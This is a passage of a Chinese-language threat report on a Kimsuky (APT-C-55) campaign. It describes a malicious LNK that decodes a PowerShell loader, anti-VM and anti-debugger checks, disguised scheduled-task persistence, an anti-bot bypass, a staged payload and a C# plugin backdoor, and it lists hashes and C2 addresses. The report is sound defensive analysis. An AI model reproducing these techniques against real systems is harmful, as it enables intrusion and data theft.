src="https://wechat2rss.xlab.app/img-proxy/?k=518ed454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJuzdtSprXicsEtaLEsHHvQZ9EgbSfcqJsnUL1fTqMIg3EVwicwicH3JafW4HC0gVj3uSYBVT1uGlcX1ARU6VdiaEicDYbSSp6YicGLc%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">其中运行后打开的OrionLauncher程序安装页面如下，以迷惑用户。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5325" data-w="800" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=db41976d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIT7hmDt1LhO5b1F4GN3ia21J6sVH4jkopgpoXCfRG56ggqg90cF7K3Q7MpP7jJP0wBr6MAqiciakdVW5zpNA1cSYN8vHWtNpibVZ8%2F640%3Ffrom%3Dappmsg"/></span><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">lnk文件信息如下:</span></p><table style="border-collapse:
 collapse;border:none;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:
 1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border: 1pt solid windowtext;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt 1pt 1pt medium;border-style: solid solid solid none;border-color: windowtext windowtext windowtext currentcolor;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">3c64c75c9e6a3da7fbc766deb2081219</span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">22.89 KB (23439</span></span><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">字节</span><span lang="EN-US"><span leaf="">)</span></span></span></p></td></tr><tr style="mso-yfti-irow:2;mso-yfti-lastrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">guide.url.lnk</span></span></p></td></tr></tbody></table><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Lnk携带base64编码的参数，如下所示：</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6172022684310019" data-w="1058" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c255760d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLxib7F2ApWyCFW5KFUkHD6vUSU4xYokicDfiaYBbCS5mtHUWBSKVYcMZQZG8EL0TbqohhqzEWlwLA5cic49Af4NpbmnqXAOZzPZZc%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">解码后，其主要功能是从自身偏移读取指定大小的数据然后进行异或解密得到恶意载荷并保存为powershell脚本执行。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.574607329842932" data-w="764" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cac6b065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIDWiblKnkEsHbrxqhDCZS8WjM9eZGAZtKfLk6xgKdXuxQfhz7LtnKiata2e1ZkuM711Ed5k2iaVlhXt7ajibly9Zzenv2xPJIy1Ck%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">脚本首先进行反分析检测，检查42个安全工具进程名（如idaq64、x64dbg、ProcessHacker、Fiddler等）和多种虚拟机环境标识(VMware/QEMU/KVM/Google Compute Engine)，发现则退出。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.407496977025393" data-w="827" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=80701c5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLicKcgDwiaMP9EVZy6dXibu5ZNZHSIxWf8ISdibtQIkRicdlWLIfYjlHNQVnEbGMoTkHIFNe6eK57u4Cht8ujqzM7XOTtfvKgD0ct8%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">然后通过计划任务伪装成“Google Chrome 更新”等方式实现持久化驻留。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.11935110081112399" data-w="863" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0bfc9023&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLkuDFZ4TFk5sN0sGCsZBp05qAQK7rbsoLD93LcoBNweoCdBDa6tCk50DHkHic3BFAMgGuqm70j9b0XO4LGMFnibYHRCzujgz3TE%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size: 17px;line-height: 1.6em;color: rgba(0, 0, 0, 0.9);text-align: justify;text-indent: 2em;margin: 16px 0px;letter-spacing: 0.5px;"><span leaf="">接着通过Win32_ComputerSystem/Win32_OperatingSystem/Win32_Process收集计算机名、域名、制造商、型号、内存、OS版本、所有进程信息,并将收集的系统信息通过HTTP POST发送到http[:]//217.60.36.94/unicorn/mort.php。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7972602739726027" data-w="730" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1cf2f0d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKwmkptOyEEiak1Olqt1ia8icLduan1HHsstDvC5oQSRerMrt2vNKgDia7glC3ibsxpywoUvYYibwP2IcwjlJwlN2ibibMw86sCQib0eYbs%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">样本在访问攻击者服务器过程中，针对InfinityFree免费主机的 JavaScript反机器人验证机制进行了绕过。由于该服务器要求客户端执行JavaScript生成合法Cookie后才能返回真实内容，样本通过下载服务器返回的验证脚本，并对其中浏览器执行逻辑进行修改，将其转换为可由 Windows自带cscript工具执行的本地JavaScript，从而自动计算并获取验证Cookie，模拟正常浏览器访问流程，绕过服务器访问限制并继续获取后续恶意载荷。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3395291201982652" data-w="807" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e3febbe4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIqUj9gWtBRsBdhUcBZePvXErHcWLKia0iblNqRibl6YZzt48fOuyfW388273UuaWQU7do4gg2L46HpzK7ib0riaRhkXDrSEmfsTnsI%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">然后执行内嵌base64编码的数据，</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44252163164400493" data-w="809" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe1426ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJRqtIPrvGTvEGJEyTIdzTAubHc8A9cLIfLSMT8hQAX8jTjLuSo7IlKEXgwRfzibVcvbDX0ibBOa4icVERhLJO7qL8iaweTJnYRFUM%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">该段脚本继续从服务器下载uni.txt数据。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3791348600508906" data-w="786" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a5b56b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKtmDlzicm4G9dETicNl1ZJbc7Y30YB98QcsytFYNu1HRFBmQNdIia1DUQ9LVUEV26ZfUTVjO22AYVJ2PiajrGabFA4HaTkwLssP0Y%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">uni.txt依然是powershell脚本，其功能继续从服务器下载test.bef_fri数据文件。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36005089058524176" data-w="786" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=40e55f64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI0e2BdHSG5NjCCQicibH2HVTh8uJ3uYc0FVcOlklC6zB72hHH1sQ31n3wDrQsdAVmBiaV8SrcQlT3TSQXsNibRoA6mDM4rHRSthP8%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">下载的test.bef_fri样本采用文件类型伪装技术（File Type Masquerading），通过将文件头伪装为 RTF 格式，使其表面属性与实际用途不一致。该技术可降低部分基于文件类型、扩展名及静态特征检测机制的识别能力，从而提升攻击载荷投递的隐蔽性。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3489583333333333" data-w="576" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2377cf6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLol3XTeZ0xdPSDpdBYhzsFCvkA0J22p8QQ92Bx9vObuU8PYqbeF98HxN5Zn16LByqronzecwVdf32zAvmUsMViaU7fkJ5HHpkY%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">接着修复文件头进行解压缩得到真正的palyload，最后进行反射加载并执行.NET程序集。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7524204702627939" data-w="723" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=70211e3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKSZMYpDxInVRdP5KicMUDyKj0kibV0ibcD0JlvwRSGmTicVHapnyqt3cCtf0iaY4JbPibiaribm2qbeiaESkxoZyWJhICoqEcu4u1hG7HU%2F640%3Ffrom%3Dappmsg"/></span><h2 style="font-size:17px;font-weight:bold;color:#be191f;margin:20px 0 10px;letter-spacing:0.5px;"><span leaf="">3.攻击组件分析</span></h2><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">由test.bef_fri文件修复解压后得到载荷信息如下：</span></p><table style="border-collapse:
 collapse;border:none;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:
 1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border: 1pt solid windowtext;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt 1pt 1pt medium;border-style: solid solid solid none;border-color: windowtext windowtext windowtext currentcolor;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">7479bedf5813a1527199f8958e898d19</span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">61.50KB (62976 </span></span><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">字节</span><span lang="EN-US"><span leaf="">)</span></span></span></p></td></tr><tr style="mso-yfti-irow:2;mso-yfti-lastrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;mso-bidi-font-family:&#34;Malgun Gothic&#34;;"><span leaf="">test.bef_fri</span></span></p></td></tr></tbody></table><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">该载荷是一个经过高度混淆的C#模块化后门框架，采用了随机/乱码标识符、方法名混淆以及大量无意义字符串拼接等手段来对抗静态分析。程序的入口位于loader.Program.Main，它先挂载 AssemblyResolve 回调，再调用Stella_Gary.Program.Main().GetAwaiter().GetResult()，表明主程序在托管层实现了反射装载。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3316582914572864" data-w="796" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=455611a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKoIQUKgJoCd39S1vRAnJQLCyFMmEr9QNygzuIziamsIAj1pQ7OyLy2C0ibjHubkHRialic7QeCG13hl3JHq5IrXQYOGiaoRavicGHtQ%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">Program.Main 会在循环中创建 Socket，固定连接到 107.172.249.140:443。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41530740276035133" data-w="797" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=15b9d266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLPRyY0e4uUibsQcceNLUA2aEo5seiamGOHo79KzhBO92pL2HDlQswJfCuXsFK0wESeOsibriboHEU53dcCibohqtOzATDKvTcshFRE%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">接着，样本收集系统信息（包括当前用户名、前台窗口标题、系统空闲时间、是否是管理员等）经过AES加密发送到服务器。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8315132605304212" data-w="641" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4ad519b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK51NSV9icv7f1ze0USDn3IKnFZKMw9AQI2NtvDw5AwoVwY2VKycd59scxATJZ0q5N4iaj1WSfjQ1EzH2A77dnj3fia7mnhf8Kw2Q%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">建立加密通信通道后接收并执行控制端下发的指令。对于接收的数据进行头解析，第一个字节是压缩标志（0表示无压缩，1表示LANT1压缩），其后四个字节表示数据长度，然后进行AES解密读取指令数据并执行。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7610759493670886" data-w="632" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=78799f16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJkX6Ls8EibWlgxKwSCtL0kIg5VeJgDnEvNEdUqcJbnnR81PCqrW4k0WtZoFusteAn1Vl58ASmCOg1xhZRpOA188Kvib6UcQLPoM%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">若接收的指令数据为C#程序集，支持通过动态插件加载机制扩展功能，攻击者可根据需要远程下发并加载不同插件，实现对受害主机执行更多恶意操作。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7250639386189258" data-w="782" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b5a9850f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKCCXOq6HjM24g2UnjicKRG9j8nH6QFF664bEthDYT1cn9jyuia3BHWNenYsu2yfccEvd475icvpY8pJAANZ56kAZCqzaUqfughnQ%2F640%3Ffrom%3Dappmsg"/></span><h1 style="display:inline-block;background-color:#be191f;padding:6px 15px;box-sizing:border-box;font-size:18px;font-weight:bold;color:#ffffff;letter-spacing:1.5px;margin:24px 0 16px;"><span leaf="">三、归属研判</span></h1><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">经深度发现本次攻击方式和Kimsuky组织以往TTP存在较大关联，具体表现如下所示：</span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-action-id="mtv4rul4rhn" data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1.本次攻击行动与我们之前关于Kimsuky组织的报告</span><sup style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mtv4rukt226i" data-mpa-action-id="mtv4sl2gvxt" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mtv4sl28egy" style="font-size: 15px;">[1]</span></sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">中的载荷有较强相似度，甚至可以视为此前载荷的升级版本，具体表现在均为C<a class="wx_topic_link" topic-id="mtv4ruxm-7sc5kz" style="color: #576B95 !important;" data-topic="1" data-recommend="">#载荷</a>，都是建立TCP连接并且获取的数据相同（用户名、操作系统信息、当前运行权限是否为管理员、前台活动窗口标题），还有都是以插件形式加载恶意组件。</span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2.从lnk样本读取自身数据并单字节解密出powershell脚本的攻击手法和Kimsuky组织相同。</span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;" data-mpa-action-id="mtv4s7r41guj" data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3.本次攻击行动和相关报告</span><sup style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mtv4s7qufxe" data-mpa-action-id="mtv4sfc522x5" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mtv4sfbw1fx1" style="font-size: 15px;">[2][3]</span></sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">的攻击方式也相似，具体表现在lnk攻击方式，解密方式和环境检查以及调试器检测等均相似，而这类报告也将这类似行动归属到Kimsuky组织。</span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综上，我们较有把握将本轮攻击行动归属到APT-C-55（Kimsuky）组织。</span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: rgb(242, 242, 242);line-height: 32px;height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;box-sizing: border-box;text-indent: 0px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 8px;display: block;"><span style="color: #333333;text-align: justify;text-indent: 28px;text-decoration-thickness: initial;font-size: 17px;display: inline !important;"><span leaf="">本次本次捕获的 Kimsuky（APT-C-55）攻击行动展现了一条从恶意投递、多阶段加载到持久化远控的完整攻击链，并在此前已知载荷的基础上进行了明显升级。攻击者全程大量滥用合法平台充当通信与分发通道，结合JavaScript反机器人验证绕过、模块化插件架构、内存。</span></span></p><div style="margin:0;padding:0;line-height:1.75em;letter-spacing:1.5px;font-size:17px;box-sizing:border-box;"><div style="margin:0;padding:0;text-indent:2em;box-sizing:border-box;" data-pm-slice="4 4 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width:578px;margin:0 auto;padding:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin:0 0 0 6px;padding:30px 15px 